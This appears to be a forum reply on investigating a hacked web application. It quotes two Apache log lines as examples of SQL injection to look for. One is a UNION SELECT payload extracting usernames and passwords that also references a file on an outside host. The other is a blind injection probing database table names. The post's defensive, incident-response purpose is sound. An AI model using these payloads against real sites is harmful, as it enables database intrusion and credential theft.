Sure mitigation is great, but its not a fix.


A lot of good advice has been offered, but in order to spot what happened, somebody will have to examine the web server logs to look for evidence of SQL injection or whatever method was used to exploit the application.

With that in mind, here are some examples of SQL injection that might be useful (from Apache logs):

atta.cker.ip.address www.vulnerableserver.com - [13/Apr/ 2008:04:23:43-0800] "GET /index.php?go=detail&id=-99999/**/union/**/ select/**/0,0,0,0,0,0,0,0,0,0,0x7c,email,0x3a,concat(username, 0x3a,password),1,1,1,1,1,1,2,2,2,2,2/**/from/*http://www.hackedserver.com/html/images/idd.txt? ??? HTTP/1.1" 200 63919 "-" "libwww-perl/5.811"

atta.cker.ip.address - - [13/Apr/2008:04:23:43 -0800] "GET /? article=63+and+(select+ascii(substring(cast(+table%5fname+as+char), +3,+1))%2616+from+information%5fschema.tables+where+table%5ftype+%3c%3e +(concat(char(118),char(105),char(101),char(119)))+and+1=1++limit +1)HTTP/1.0" 200 53604 "-" "Opera/9.23 (Windows NT 5.1; U; en)"

Installing a web application firewall and IDS are good recommendations, but may provide limited protection until you understand and fix the vulnerability that was exploited.
